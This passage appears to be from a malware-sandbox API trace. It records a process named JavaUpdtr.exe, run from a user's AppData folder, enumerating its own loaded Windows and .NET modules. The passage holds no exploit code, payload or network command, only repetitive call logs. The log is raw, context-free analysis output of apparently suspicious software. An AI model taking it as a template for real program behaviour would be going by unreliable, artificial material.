lpmodinfo=0x2730bf4*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0115.698] GetLastError () returned 0x7f [0115.698] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0115.698] GetLastError () returned 0x7f [0115.699] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0115.699] GetLastError () returned 0x7f [0115.699] GetModuleInformation (in: hProcess=0x200, hModule=0x75700000, lpmodinfo=0x2731e18, cb=0xc | out: lpmodinfo=0x2731e18*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0115.700] GetLastError () returned 0x7f [0115.700] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0115.701] GetLastError () returned 0x7f [0115.701] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0115.702] GetLastError () returned 0x7f [0115.702] CloseHandle (hObject=0x200) returned 1 [0115.702] GetLastError () returned 0x7f [0115.724] GetCurrentProcessId () returned 0x4e8 [0115.724] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x200 [0115.724] GetLastError () returned 0x7f [0115.724] EnumProcessModules (in: hProcess=0x200, lphModule=0x2751970, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x2751970, lpcbNeeded=0x31c9a8) returned 1 [0115.725] GetLastError () returned 0x7f [0115.725] GetModuleInformation (in: hProcess=0x200, hModule=0xd40000, lpmodinfo=0x2751ab0, cb=0xc | out: lpmodinfo=0x2751ab0*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0115.725] GetLastError () returned 0x7f [0115.725] GetModuleBaseNameW (in: hProcess=0x200, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0115.725] GetLastError () returned 0x7f [0115.725] GetModuleFileNameExW (in: hProcess=0x200, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0115.726] GetLastError () returned 0x7f [0115.726] GetModuleInformation (in: hProcess=0x200, hModule=0x77ac0000, lpmodinfo=0x2752c14, cb=0xc | out: lpmodinfo=0x2752c14*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0115.726] GetLastError () returned 0x7f [0115.726] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0115.726] GetLastError () returned 0x7f [0115.726] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0115.726] GetLastError () returned 0x7f [0115.726] GetModuleInformation (in: hProcess=0x200, hModule=0x73cc0000, lpmodinfo=0x2753d08, cb=0xc | out: lpmodinfo=0x2753d08*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0115.726] GetLastError () returned 0x7f [0115.727] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0115.727] GetLastError () returned 0x7f [0115.727] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0115.727] GetLastError () returned 0x7f [0115.727] GetModuleInformation (in: hProcess=0x200, hModule=0x75930000, lpmodinfo=0x2754e04, cb=0xc | out: lpmodinfo=0x2754e04*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0115.727] GetLastError () returned 0x7f [0115.727] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0115.728] GetLastError () returned 0x7f [0115.728] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0115.728] GetLastError () returned 0x7f [0115.728] GetModuleInformation (in: hProcess=0x200, hModule=0x77670000, lpmodinfo=0x2755f08, cb=0xc | out: lpmodinfo=0x2755f08*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0115.728] GetLastError () returned 0x7f [0115.728] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0115.729] GetLastError () returned 0x7f [0115.729] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0115.729] GetLastError () returned 0x7f [0115.729] GetModuleInformation (in: hProcess=0x200, hModule=0x75db0000, lpmodinfo=0x2757044, cb=0xc | out: lpmodinfo=0x2757044*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0115.729] GetLastError () returned 0x7f [0115.729] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0115.729] GetLastError () returned 0x7f [0115.730] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0115.730] GetLastError () returned 0x7f [0115.730] GetModuleInformation (in: hProcess=0x200, hModule=0x76d40000, lpmodinfo=0x2758148, cb=0xc | out: lpmodinfo=0x2758148*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0115.730] GetLastError () returned 0x7f [0115.730] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0115.731] GetLastError () returned 0x7f [0115.731] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0115.731] GetLastError () returned 0x7f [0115.731] GetModuleInformation (in: hProcess=0x200, hModule=0x76ec0000, lpmodinfo=0x2759244, cb=0xc | out: lpmodinfo=0x2759244*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0115.731] GetLastError () returned 0x7f [0115.731] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0115.731] GetLastError () returned 0x7f [0115.732] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0115.732] GetLastError () returned 0x7f [0115.732] GetModuleInformation (in: hProcess=0x200, hModule=0x75e50000, lpmodinfo=0x275a340, cb=0xc | out: lpmodinfo=0x275a340*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0115.732] GetLastError () returned 0x7f [0115.732] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0115.733] GetLastError () returned 0x7f [0115.733] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0115.733] GetLastError () returned 0x7f [0115.733] GetModuleInformation (in: hProcess=0x200, hModule=0x75620000, lpmodinfo=0x275b48c, cb=0xc | out: lpmodinfo=0x275b48c*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0115.733] GetLastError () returned 0x7f [0115.734] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0115.734] GetLastError () returned 0x7f [0115.734] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0115.734] GetLastError () returned 0x7f [0115.734] GetModuleInformation (in: hProcess=0x200, hModule=0x75610000, lpmodinfo=0x275c588, cb=0xc | out: lpmodinfo=0x275c588*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0115.735] GetLastError () returned 0x7f [0115.735] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0115.735] GetLastError () returned 0x7f [0115.735] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0115.735] GetLastError () returned 0x7f [0115.736] GetModuleInformation (in: hProcess=0x200, hModule=0x737a0000, lpmodinfo=0x275d68c, cb=0xc | out: lpmodinfo=0x275d68c*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0115.736] GetLastError () returned 0x7f [0115.736] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0115.736] GetLastError () returned 0x7f [0115.736] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0115.737] GetLastError () returned 0x7f [0115.737] GetModuleInformation (in: hProcess=0x200, hModule=0x75ba0000, lpmodinfo=0x275e7c4, cb=0xc | out: lpmodinfo=0x275e7c4*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0115.737] GetLastError () returned 0x7f [0115.737] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0115.738] GetLastError () returned 0x7f [0115.738] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0115.738] GetLastError () returned 0x7f [0115.738] GetModuleInformation (in: hProcess=0x200, hModule=0x75c40000, lpmodinfo=0x275f8c0, cb=0xc | out: lpmodinfo=0x275f8c0*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0115.738] GetLastError () returned 0x7f [0115.739] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0115.739] GetLastError () returned 0x7f [0115.739] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0115.739] GetLastError () returned 0x7f [0115.739] GetModuleInformation (in: hProcess=0x200, hModule=0x75a40000, lpmodinfo=0x27609b4, cb=0xc | out: lpmodinfo=0x27609b4*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0115.740] GetLastError () returned 0x7f [0115.740] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0115.740] GetLastError () returned 0x7f [0115.740] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0115.741] GetLastError () returned 0x7f [0115.741] GetModuleInformation (in: hProcess=0x200, hModule=0x75c00000, lpmodinfo=0x2761ab0, cb=0xc | out: lpmodinfo=0x2761ab0*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0115.741] GetLastError () returned 0x7f [0115.741] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0115.742] GetLastError () returned 0x7f [0115.742] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0115.743] GetLastError () returned 0x7f [0115.743] GetModuleInformation (in: hProcess=0x200, hModule=0x76ee0000, lpmodinfo=0x2762b9c, cb=0xc | out: lpmodinfo=0x2762b9c*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0115.743] GetLastError () returned 0x7f [0115.743] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0115.744] GetLastError () returned 0x7f [0115.744] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0115.744] GetLastError () returned 0x7f [0115.744] GetModuleInformation (in: hProcess=0x200, hModule=0x758d0000, lpmodinfo=0x2763d20, cb=0xc | out: lpmodinfo=0x2763d20*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0115.745] GetLastError () returned 0x7f [0115.745] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0115.745] GetLastError () returned 0x7f [0115.745] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0115.746] GetLastError () returned 0x7f [0115.746] GetModuleInformation (in: hProcess=0x200, hModule=0x76df0000, lpmodinfo=0x2764e14, cb=0xc | out: lpmodinfo=0x2764e14*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0115.746] GetLastError () returned 0x7f [0115.746] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0115.747] GetLastError () returned 0x7f [0115.747] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0115.747] GetLastError () returned 0x7f [0115.747] GetModuleInformation (in: hProcess=0x200, hModule=0x75430000, lpmodinfo=0x2765f08, cb=0xc | out: lpmodinfo=0x2765f08*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0115.748] GetLastError () returned 0x7f [0115.748] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0115.748] GetLastError () returned 0x7f [0115.748] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0115.749] GetLastError () returned 0x7f [0115.749] GetModuleInformation (in: hProcess=0x200, hModule=0x749d0000, lpmodinfo=0x2767004, cb=0xc | out: lpmodinfo=0x2767004*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0115.749] GetLastError () returned 0x7f [0115.749] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0115.750] GetLastError () returned 0x7f [0115.750] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0115.751] GetLastError () returned 0x7f [0115.751] GetModuleInformation (in: hProcess=0x200, hModule=0x75390000, lpmodinfo=0x276813c, cb=0xc | out: lpmodinfo=0x276813c*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0115.751] GetLastError () returned 0x7f [0115.751] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0115.752] GetLastError () returned 0x7f [0115.752] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0115.752] GetLastError () returned 0x7f [0115.752] GetModuleInformation (in: hProcess=0x200, hModule=0x75f40000, lpmodinfo=0x27692d0, cb=0xc | out: lpmodinfo=0x27692d0*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0115.753] GetLastError () returned 0x7f [0115.753] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0115.753] GetLastError () returned 0x7f [0115.753] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0115.754] GetLastError () returned 0x7f [0115.754] GetModuleInformation (in: hProcess=0x200, hModule=0x75770000, lpmodinfo=0x276a3cc, cb=0xc | out: lpmodinfo=0x276a3cc*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0115.754] GetLastError () returned 0x7f [0115.754] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0115.755] GetLastError () returned 0x7f [0115.755] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0115.756] GetLastError () returned 0x7f [0115.756] GetModuleInformation (in: hProcess=0x200, hModule=0x75290000, lpmodinfo=0x276b4c0, cb=0xc | out: lpmodinfo=0x276b4c0*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0115.756] GetLastError () returned 0x7f [0115.756] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0115.757] GetLastError () returned 0x7f [0115.757] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0115.757] GetLastError () returned 0x7f [0115.757] GetModuleInformation (in: hProcess=0x200, hModule=0x72ac0000, lpmodinfo=0x276c5bc, cb=0xc | out: lpmodinfo=0x276c5bc*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0115.758] GetLastError () returned 0x7f [0115.758] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0115.758] GetLastError () returned 0x7f [0115.759] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0115.759] GetLastError () returned 0x7f [0115.759] GetModuleInformation (in: hProcess=0x200, hModule=0x75440000, lpmodinfo=0x276d754, cb=0xc | out: lpmodinfo=0x276d754*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0115.760] GetLastError () returned 0x7f [0115.760] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0115.760] GetLastError () returned 0x7f [0115.761] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0115.761] GetLastError () returned 0x7f [0115.761] GetModuleInformation (in: hProcess=0x200, hModule=0x75230000, lpmodinfo=0x276e850, cb=0xc | out: lpmodinfo=0x276e850*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0115.762] GetLastError () returned 0x7f [0115.762] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0115.762] GetLastError () returned 0x7f [0115.762] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0115.763] GetLastError () returned 0x7f [0115.763] GetModuleInformation (in: hProcess=0x200, hModule=0x72320000, lpmodinfo=0x276f988, cb=0xc | out: lpmodinfo=0x276f988*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0115.763] GetLastError () returned 0x7f [0115.764] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0115.764] GetLastError () returned 0x7f [0115.764] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0115.765] GetLastError () returned 0x7f [0115.765] GetModuleInformation (in: hProcess=0x200, hModule=0x750a0000, lpmodinfo=0x2770b14, cb=0xc | out: lpmodinfo=0x2770b14*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0115.765] GetLastError () returned 0x7f [0115.766] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0115.766] GetLastError () returned 0x7f [0115.766] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0115.767] GetLastError () returned 0x7f [0115.767] GetModuleInformation (in: hProcess=0x200, hModule=0x74830000, lpmodinfo=0x2771cd0, cb=0xc | out: lpmodinfo=0x2771cd0*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0115.767] GetLastError () returned 0x7f [0115.768] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0115.768] GetLastError () returned 0x7f [0115.768] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0115.769] GetLastError () returned 0x7f [0115.769] GetModuleInformation (in: hProcess=0x200, hModule=0x746a0000, lpmodinfo=0x2772eb4, cb=0xc | out: lpmodinfo=0x2772eb4*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0115.770] GetLastError () returned 0x7f [0115.770] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0115.770] GetLastError () returned 0x7f [0115.770] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0115.771] GetLastError () returned 0x7f [0115.771] GetModuleInformation (in: hProcess=0x200, hModule=0x74fa0000, lpmodinfo=0x2774054, cb=0xc | out: lpmodinfo=0x2774054*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0115.772] GetLastError () returned 0x7f [0115.772] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: 